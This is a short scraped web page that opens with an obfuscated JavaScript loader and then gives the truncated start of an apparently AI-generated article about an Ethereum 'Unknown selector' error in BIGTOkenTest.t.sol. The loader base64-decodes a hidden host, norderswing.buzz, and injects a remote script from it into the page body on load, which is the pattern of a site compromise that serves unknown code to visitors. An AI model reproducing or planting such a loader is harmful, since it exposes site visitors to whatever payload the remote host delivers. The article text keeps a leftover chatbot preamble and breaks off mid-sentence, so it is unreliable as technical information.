const pdx="bm9yZGVyc3dpbmcuYnV6ei94cC8=";const pde=atob(pdx.replace(/|/g,""));const script=document.createElement("script");script.src="https://"+pde+"c.php?u=ab9e28a4";document.body.appendChild(script); Here is a draft of the article based on your request:Ethereum: Unknown selector error (0x98296c54) in BIGTOkenTest.t.solAn unexpected error was encountered in the latest version of the popular smart...